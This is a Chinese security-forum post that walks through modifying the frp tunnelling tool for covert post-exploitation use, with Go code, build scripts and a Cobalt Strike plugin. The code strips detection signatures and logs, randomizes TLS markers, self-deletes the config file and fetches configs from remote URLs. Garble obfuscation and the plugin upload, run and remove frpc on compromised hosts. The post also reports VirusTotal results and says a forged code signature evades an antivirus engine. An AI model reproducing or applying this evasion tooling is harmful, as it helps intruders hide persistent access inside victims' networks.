最新版frp二开
Arcueid 发表于 浙江 安全工具 1799浏览 · 2024-07-30 06:43

最新版frp二开

frp version == 0.58.1

go version == go1.22.4 windows/amd64

https://github.com/Arcueld/Afrp

删除特征

字符

其实修改意义不大 高版本默认开启tls

frp/pkg/msg/msg.go

先改字段名

type Login struct {
    Version      string            `json:"q"`
    Hostname     string            `json:"w"`
    Os           string            `json:"e"`
    Arch         string            `json:"r"`
    User         string            `json:"t"`
    PrivilegeKey string            `json:"y"`
    Timestamp    int64             `json:"u"`
    RunID        string            `json:"i"`
    Metas        map[string]string `json:"o"`

    // Currently only effective for VirtualClient.
    ClientSpec ClientSpec `json:"client_spec,omitempty"`

    // Some global configures.
    PoolCount int `json:"pool_count,omitempty"`
}

再把传进去的值改了

frp/client/service.go

这里传什么都不影响使用 随便改就行了

修改默认salt

frp/server/service.go

frp/client/service.go

修改TLS特征

frp/pkg/util/net/tls.go

直接改动态生成

var FRPTLSHeadByte int

func init() {
    var err error
    FRPTLSHeadByte, err = GenerateRandomByte()
    if err != nil {
        fmt.Sprintf("Failed to generate random byte: %v", err)
    }
}
func GenerateRandomByte() (int, error) {
    n, err := rand.Int(rand.Reader, big.NewInt(0x90))
    if err != nil {
        return 0, err
    }
    return int(n.Int64()) + 0x50, nil
}

版本号

/pkg/util/version/version.go

删除所有log

全局搜log.infof xl.Infof 全部注释了就行

注释完去编译 哪里报错改哪里

warn 和 error 一样
server端可以不删 除非有做多级代理的需求

帮助页面自定义

frp/cmd/frpc/sub/root.go

我们在root.go中新增的参数都会被同步进来

比如这里我加的删除配置文件的参数 -s

在这里能修改--help的描述

其它描述

cmd\frpc\sub\admin.go

cmd\frpc\sub\verify.go

cmd\frpc\sub\nathole.go

cmd\frpc\sub\proxy.go

不一一放图了

效果如下

参数相关

配置文件自删除

frp/cmd/frpc/sub/root.go

通过参数实现删除配置文件 直接os.Remove就行 这里我参数选择-s 或者 --suicide

远程加载配置文件

先新增 -r 参数

导入"io/ioutil"

增加远程下载配置的函数

func downloadConfigFile(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", fmt.Errorf("failed to download config file: %w", err)
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return "", fmt.Errorf("failed to download config file: status code %d", resp.StatusCode)
    }

    tempFile, err := ioutil.TempFile("", "frpc_remote_config_*.ini")
    if err != nil {
        return "", fmt.Errorf("failed to create temp file: %w", err)
    }
    defer tempFile.Close()

    _, err = io.Copy(tempFile, resp.Body)
    if err != nil {
        return "", fmt.Errorf("failed to write to temp file: %w", err)
    }

    return tempFile.Name(), nil
}

编译

添加 -s -w 标志禁用调试信息

go

build.bat 直接用go build

@echo off
setlocal

set CGO_ENABLED=0
set GOARCH=amd64

:: Set environment for Windows build
set GOOS=windows

:: Build for Windows
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frps.exe .\cmd\frps
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frpc.exe .\cmd\frpc

:: Set environment for Linux build
set GOOS=linux

:: Build for Linux
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frps .\cmd\frps
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frpc .\cmd\frpc

endlocal
pause

garble

混淆

https://kkgithub.com/burrowers/garble.git

go install mvdan.cc/garble@latest

@echo off
setlocal

set CGO_ENABLED=0
set GOARCH=amd64

:: Set environment for Windows build
set GOOS=windows

:: Build for Windows
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frps.exe .\cmd\frps
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frpc.exe .\cmd\frpc

:: Copy frpc.exe to cs_frp_plugin directory
copy bin\frpc.exe cs_frp_plugin\frpc.exe

:: Set environment for Linux build
set GOOS=linux

:: Build for Linux
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frps .\cmd\frps
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frpc .\cmd\frpc

endlocal
pause

效果如下

资源文件

通过rsrc生成.syso嵌入程序

go install github.com/akavel/rsrc@latest
rsrc -ico icon.ico -o ./cmd/frpc/icon.syso
rsrc -ico icon.ico -o ./cmd/frps/icon.syso

cs插件

根据xq17师傅的脚本改写

popup beacon_bottom {
    menu "Frp"{
        item "Upload" {
            $bid = $1;
            $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
            drow_text($dialog, "UploadPath",  "path: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        sub upload {
            # switch to specify path
            bcd($bid, $3['UploadPath']);
            bsleep($bid, 0 ,0);

            bupload($bid, script_resource("/scripts/frpc.toml"));
            bupload($bid, script_resource("/scripts/frpc.exe"));

            show_message("Executing cmmand!");
        }
        item "Run"{
            $bid = $1;
            $dialog = dialog("Run frpc", %(uri => "frpc.toml -s", bid => $bid), &run);
            drow_text($dialog, "uri",  "configURI: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }

        sub run{
            local('$Uri');
            $Uri =  $3['uri'];
            bshell($bid, "frpc.exe -o  $+ $Uri ");
            show_message("Executing cmmand!");
            bsleep($bid, 10, 0);
        }

        item "Delete" {
            # local("bid");
            bshell($1, "taskkill /f /t /im frpc.exe &&  del /f /s /q frpc.exe");
        }
    }
}

upload 上传frpc.exe frpc.toml

run 执行frpc并删除配置文件

假如要用插件的话 可以加个壳压缩一下 传的快点

VT对比

原版

二开混淆

不加签名过不了QVM 伪造一个就能过

参考

https://github.com/atsud0/frp-modify

https://cn-sec.com/archives/1369447.html

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://github.com/Goqi/Erfrp

https://www.anquanke.com/post/id/231424

https://www.anquanke.com/post/id/231685

https://github.com/Ch1ngg/AggressorScript-UploadAndRunFrp

0 条评论
某人
表情
可输入 255